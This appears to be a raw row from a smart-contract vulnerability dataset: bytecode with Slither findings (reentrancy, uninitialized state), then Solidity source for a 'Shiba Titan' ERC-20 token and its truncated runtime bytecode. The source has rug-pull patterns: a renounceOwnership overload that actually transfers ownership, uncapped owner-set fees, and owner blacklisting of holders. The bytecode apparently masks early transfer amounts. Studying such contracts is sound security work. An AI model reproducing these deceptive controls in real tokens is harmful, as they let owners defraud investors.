fffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600960006101000a81548160ff021916908315150217905550565b60006012905090565b60065481565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610a055750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610a0e57600080fd5b61dead600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006020528060005260406000206000915090505481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060088054610ae890612225565b80601f0160208091040260200160405190810160405280929190818152602001828054610b1490612225565b8015610b615780601f10610b3657610100808354040283529160200191610b61565b820191906000526020600020905b815481529060010190602001808311610b4457829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610c145750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610c1d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c84906123dc565b60405180910390fd5b610c9960008383611d3c565b8060066000828254610cab91906123fc565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d0091906123fc565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d659190611e0c565b60405180910390a35050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610e1a5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610e2357600080fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610e7b610e7461152c565b84846116ff565b6001905092915050565b60088054610e9290612225565b80601f0160208091040260200160405190810160405280929190818152602001828054610ebe90612225565b8015610f0b5780601f10610ee057610100808354040283529160200191610f0b565b820191906000526020600020905b815481529060010190602001808311610eee57829003601f168201915b505050505081565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610fbc5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610fc557600080fd5b600960019054906101000a900460ff1615611015576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100c9061249e565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600960026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061109e30600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600654611534565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110e9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110d91906124d3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611174573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119891906124d3565b6040518363ffffffff1660e01b81526004016111b5929190612500565b6020604051808303816000875af11580156111d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111f891906124d3565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061128130610a6b565b600080600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016112c99695949392919061256e565b60606040518083038185885af11580156112e7573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061130c91906125e4565b5050506001600960016101000a81548160ff02191690831515021790555043600b81905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016113d0929190612637565b6020604051808303816000875af11580156113ef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611413919061268c565b5050565b6007805461142490612225565b80601f016020809104026020016040519081016040528092919081815260200182805461145090612225565b801561149d5780601f106114725761010080835404028352916020019161149d565b820191906000526020600020905b81548152906001019060200180831161148057829003601f168201915b505050505081565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159b9061272b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611614576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160b906127bd565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116f29190611e0c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561176f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117669061284f565b60405180910390fd5b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156117cd57600080fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118715750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61187a57600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119cc57600960009054906101000a900460ff16806119345750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061198c5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b6119cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c2906128e1565b60405180910390fd5b5b6c064f964e68233a76f520000000811080611a345750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611a8c5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611ac257503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611acb57600080fd5b611ad6838383611d3c565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611b5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5390612973565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611bef91906123fc565b92505081905550436004600b54611c0691906123fc565b118015611c605750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15611cd0578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000604051611cc39190612993565b60405180910390a3611d36565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611d2d9190611e0c565b60405180910390a35b50505050565b505050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611d8082611d55565b9050919050565b611d9081611d75565b8114611d9b57600080fd5b50565b600081359050611dad81611d87565b92915050565b60008060408385031215611dca57611dc9611d4b565b5b6000611dd885828601611d9e565b9250506020611de985828601611d9e565b9150509250929050565b6000819050919050565b611e0681611df3565b82525050565b6000602082019050611e216000830184611dfd565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611e61578082015181840152602081019050611e46565b83811115611e70576000848401525b50505050565b6000601f19601f8301169050919050565b6000611e9282611e27565b611e9c8185611e32565b9350611eac818560208601611e43565b611eb581611e76565b840191505092915050565b60006020820190508181036000830152611eda8184611e87565b905092915050565b611eeb81611df3565b8114611ef657600080fd5b50565b600081359050611f0881611ee2565b92915050565b60008060408385031215611f2557611f24611d4b565b5b6000611f3385828601611d9e565b9250506020611f4485828601611ef9565b9150509250929050565b60008115159050919050565b611f6381611f4e565b82525050565b6000602082019050611f7e6000830184611f5a565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b611fc182611e76565b810181811067ffffffffffffffff82111715611fe057611fdf611f89565b5b80604052505050565b6000611ff3611d41565b9050611fff8282611fb8565b919050565b600067ffffffffffffffff82111561201f5761201e611f89565b5b602082029050602081019050919050565b600080fd5b600061204861204384612004565b611fe9565b9050808382526020820190506020840283018581111561206b5761206a612030565b5b835b8181101561209457806120808882611d9e565b84526020840193505060208101905061206d565b5050509392505050565b600082601f8301126120b3576120b2611f84565b5b81356120c3848260208601612035565b91505092915050565b6000602082840312156120e2576120e1611d4b565b5b600082013567ffffffffffffffff811115612100576120ff611d50565b5b61210c8482850161209e565b91505092915050565b60008060006060848603121561212e5761212d611d4b565b5b600061213c86828701611d9e565b935050602061214d86828701611d9e565b925050604061215e86828701611ef9565b9150509250925092565b600060ff82169050919050565b61217e81612168565b82525050565b60006020820190506121996000830184612175565b92915050565b6000602082840312156121b5576121b4611d4b565b5b60006121c384828501611d9e565b91505092915050565b6121d581611d75565b82525050565b60006020820190506121f060008301846121cc565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061223d57607f821691505b60208210811415612251576122506121f6565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006122c082611df3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156122f3576122f2612286565b5b600182019050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b600061235a602883611e32565b9150612365826122fe565b604082019050919050565b600060208201905081810360008301526123898161234d565b9050919050565b7f45524332303a206275726e20746f20746865207a65726f206164647265737300600082015250565b60006123c6601f83611e32565b91506123d182612390565b602082019050919050565b600060208201905081810360008301526123f5816123b9565b9050919050565b600061240782611df3565b915061241283611df3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561244757612446612286565b5b828201905092915050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612488601783611e32565b915061249382612452565b602082019050919050565b600060208201905081810360008301526124b78161247b565b9050919050565b6000815190506124cd81611d87565b92915050565b6000602082840312156124e9576124e8611d4b565b5b60006124f7848285016124be565b91505092915050565b600060408201905061251560008301856121cc565b61252260208301846121cc565b9392505050565b6000819050919050565b6000819050919050565b600061255861255361254e84612529565b612533565b611df3565b9050919050565b6125688161253d565b82525050565b600060c08201905061258360008301896121cc565b6125906020830188611dfd565b61259d604083018761255f565b6125aa606083018661255f565b6125b760808301856121cc565b6125c460a0830184611dfd565b979650505050505050565b6000815190506125de81611ee2565b92915050565b6000806000606084860312156125fd576125fc611d4b565b5b600061260b868287016125cf565b935050602061261c868287016125cf565b925050604061262d868287016125cf565b9150509250925092565b600060408201905061264c60008301856121cc565b6126596020830184611dfd565b9392505050565b61266981611f4e565b811461267457600080fd5b50565b60008151905061268681612660565b92915050565b6000602082840312156126a2576126a1611d4b565b5b60006126b084828501612677565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612715602483611e32565b9150612720826126b9565b604082019050919050565b6000602082019050818103600083015261274481612708565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006127a7602283611e32565b91506127b28261274b565b604082019050919050565b600060208201905081810360008301526127d68161279a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612839602583611e32565b9150612844826127dd565b604082019050919050565b600060208201905081810360008301526128688161282c565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006128cb602383611e32565b91506128d68261286f565b604082019050919050565b600060208201905081810360008301526128fa816128be565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061295d602683611e32565b915061296882612901565b604082019050919050565b6000602082019050818103600083015261298c81612950565b9050919050565b60006020820190506129a8600083018461255f565b9291505056fea2646970667358221220e2ceca112da589c77ba332395a70c8c8bd1f2f361e05bd7a959e4ce4a55281db64736f6c634300080a0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 957 |
0xfaa256267dc1c4f610aa0fbb50ee262da69ce613 | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function renounceOwnership(address ownershipRenounced) public virtual onlyOwner {
require(ownershipRenounced != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, ownershipRenounced);
_owner = ownershipRenounced;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ShibaTitan is Context, IERC20, Ownable {///////////////////////////////////////////////////////////
using SafeMath for uint256;
string private constant _name = "Shiba Titan";//////////////////////////
string private constant _symbol = "SIT";//////////////////////////////////////////////////////////////////////////
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 333333333333 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnBuy = 3;//////////////////////////////////////////////////////////////////////
//Sell Fee
uint256 private _redisFeeOnSell = 0;/////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnSell = 3;/////////////////////////////////////////////////////////////////////
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x2B890bB8C700F79c7D7152835a5d207aA093802B);/////////////////////////////////////////////////
address payable private _marketingAddress = payable(0x2B890bB8C700F79c7D7152835a5d207aA093802B);///////////////////////////////////////////////////
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 3333333333 * 10**9; //1%
uint256 public _maxWalletSize = 9999999999 * 10**9; //3%
uint256 public _swapTokensAtAmount = 40000 * 10**9; //.4%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);/////////////////////////////////////////////////
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101c55760003560e01c8063715018a6116100f757806398a5c31511610095578063c3c8cd8011610064578063c3c8cd8014610529578063c492f0461461053e578063dd62ed3e1461055e578063ea1644d5146105a457600080fd5b806398a5c31514610499578063a2a957bb146104b9578063a9059cbb146104d9578063bfd79284146104f957600080fd5b80638da5cb5b116100d15780638da5cb5b146104195780638f70ccf7146104375780638f9a55c01461045757806395d89b411461046d57600080fd5b8063715018a6146103ce57806374010ece146103e35780637d1db4a51461040357600080fd5b8063313ce567116101645780636b9990531161013e5780636b999053146103595780636d8aa8f8146103795780636fc3eaec1461039957806370a08231146103ae57600080fd5b8063313ce567146102fd57806338bf3cfa1461031957806349bd5a5e1461033957600080fd5b80631694505e116101a05780631694505e1461026957806318160ddd146102a157806323b872dd146102c75780632fd689e3146102e757600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023957600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611aec565b6105c4565b005b3480156101ff57600080fd5b5060408051808201909152600b81526a29b434b130902a34ba30b760a91b60208201525b6040516102309190611c16565b60405180910390f35b34801561024557600080fd5b50610259610254366004611a42565b610671565b6040519015158152602001610230565b34801561027557600080fd5b50601454610289906001600160a01b031681565b6040516001600160a01b039091168152602001610230565b3480156102ad57600080fd5b50681211ede497365712005b604051908152602001610230565b3480156102d357600080fd5b506102596102e2366004611a02565b610688565b3480156102f357600080fd5b506102b960185481565b34801561030957600080fd5b5060405160098152602001610230565b34801561032557600080fd5b506101f1610334366004611992565b6106f1565b34801561034557600080fd5b50601554610289906001600160a01b031681565b348015610365576000